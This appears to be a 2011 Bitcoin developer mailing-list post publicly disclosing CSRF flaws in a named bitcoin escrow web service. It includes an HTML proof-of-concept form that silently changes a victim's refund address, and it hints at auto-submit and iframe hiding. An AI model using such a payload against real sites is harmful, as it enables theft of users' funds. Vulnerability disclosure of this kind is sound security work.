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From: Doug Huff <dhuff@jrbobdobbs.org>
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Date: Sun, 19 Jun 2011 16:54:28 -0500
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Cc: Bitcoin Dev <bitcoin-development@lists.sourceforge.net>
Subject: [Bitcoin-development] Bitcoin fun day!
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In light of recent events in the "bitcoin community" I have decided that =
private disclosure of issues is doing nothing but making them more =
prevalent.
In light of this decision I would like to report multiple CSRF =
vulnerabilities in http://clearcoin.appspot.com .
This set of CSRFs are particularly nasty since this is hosted on appspot =
and uses google account auth. So long as you stay logged into your =
google account you are vulnerable to this CSRF.
Things tested:
Changing refund address.
Releasing funds.
POC code (open this in any browser even from a local file):
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
<html><head><title>test</title></head>
<body>
<form id=3D"refund_address_form" =
action=3D"https://clearcoin.appspot.com/set_refund_address" =
method=3D"POST">=20
<label for=3D"refund_address">Your bitcoin address:</label>=20
<input type=3D"text" name=3D"refund_address" id=3D"refund_address" =
size=3D"60" value=3D"PUT ANY ADDRESS HERE"
class=3D"text ui-widget-content ui-corner-all" autofocus =
required placeholder=3D"refund bitcoin address"/> (required)
</form>=20
</body>
</html>
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
Javascript auto submittal, hiding in an iframe, and other obfuscation =
methods are left as an exercise to the list.
This site is run and maintained by Gavin Anderson, aka, the lead bitcoin =
maintainer.
You should know better Gavin.
--=20
Douglas Huff
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